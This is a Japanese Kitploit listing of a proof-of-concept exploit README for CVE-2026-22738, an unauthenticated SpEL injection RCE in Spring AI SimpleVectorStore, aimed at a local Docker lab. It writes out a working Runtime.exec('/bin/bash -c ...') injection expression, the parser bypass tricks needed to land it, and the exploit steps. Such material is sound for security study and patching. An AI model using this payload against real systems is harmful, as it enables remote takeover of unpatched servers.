Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-22738-POC — CVE-2026-22738の概念実証エクスプロイト。Spring AI SimpleVectorStoreにおける重大なSpELインジェクションRCEであり、認証なしのOSコマンド実行を実証します。 | Kitploit
ツール/GitHubGitHub/n0n4m3x41/cve-2026-22738-poc
脆弱性分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育
GitHubn0n4m3x41/cve-2026-22738-poc

CVE-2026-22738-POC

CVE-2026-22738の概念実証エクスプロイト。Spring AI SimpleVectorStoreにおける重大なSpELインジェクションRCEであり、認証なしのOSコマンド実行を実証します。

リポジトリを見る
1324ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-22738 — Spring AI SimpleVectorStore における SpEL インジェクションによる RCE

CVSS CWE Status

SimpleVectorStore.similaritySearch() における Spring Expression Language (SpEL) インジェクションを介した、認証不要のリモートコード実行。

影響を受けるバージョン

| フラグ | デフォルト | 説明 | |---|---|---| | `--target` | `http://localhost:8082` | 脆弱なアプリケーションのベース URL | | `--wait` | オフ | ターゲットの準備ができるまでポーリング(`docker compose up` の後に有用) |
アーティファクト脆弱性あり修正済み
org.springframework.ai:spring-ai-core1.0.0 – 1.0.41.0.5
org.springframework.ai:spring-ai-core1.1.0-M1 – 1.1.31.1.4

修正コミット: ba9220b22383e430d5f801ce8e4fa01cf9e75f29


脆弱性

SimpleVectorStore.similaritySearch() は、呼び出し元が指定したフィルタキー名をそのまま StandardEvaluationContext によって評価される SpEL テンプレートに渡します。StandardEvaluationContext は完全な JVM リフレクション API を公開するため、攻撃者は以下をフィルタキーに注入することで、認証不要の OS コマンド実行を達成できます。

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec(...)

バイパスの詳細

単純なインジェクションはそのままでは機能しません。2 つのパーサーの癖を回避する必要があります。

  1. シングルクォートの除去 — ' で始まるキーは引用符付き文字列として扱われ、外側の引用符が除去されるため、ペイロードが壊れます。
  2. ダブルクォートのラッパー — ペイロードを "..." で囲むと、パーサーが外側のダブルクォートを除去し、内側の SpEL 式が #metadata['<KEY>'] に渡されるキー値としてそのまま残ります。
  3. 空のメタデータキー — 注入した式の両側で #metadata[''] を使用すると(未定義の変数の代わりに)、unknown variable の SpEL エラーを回避しながら exec() をトリガーできます。

結果として評価される式は次の形式になります。

root@kitploit:~
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'

成功の指標

HTTP レスポンスボディに EL1030E — SpEL ランタイムエラー — が含まれます。

root@kitploit:~
operator ADD not supported between null and java.lang.ProcessImpl

このエラーは exec() が戻った後に発生するため、帯域外コールバックを必要とせずに OS レベルのコマンド実行が確認できます。


使用方法

前提条件:

root@kitploit:~
pip install requests

エクスプロイトの実行:

root@kitploit:~
python3 exploit.py [--target http://localhost:8082] [--wait]
image

Docker Desktop (macOS/Windows): コールバックペイロードには 127.0.0.1 の代わりに host.docker.internal を使用してください。


エクスプロイトの手順

PoC は 5 つの連続したステップを実行します。

ステップ説明
1ベースラインチェック — エンドポイントに到達可能で、シードデータが返されることを確認
2ブラインド SpEL プローブ — T(java.lang.System) 経由で java.version を読み取り、インジェクションポイントを確認
3RCE: コンテナ内で touch /tmp/pwned_cve_2026_22738 を実行
4RCE: id / uname / hostname の出力を /tmp/rce_proof.txt に書き込み
5docker exec で検証 — 証明ファイルの内容を表示

免責事項

この概念実証は、教育目的および許可されたセキュリティテストのみを目的として提供されています。所有していないシステム、または明示的な書面によるテスト許可がないシステムに対して使用しないでください。

ツールをダウンロード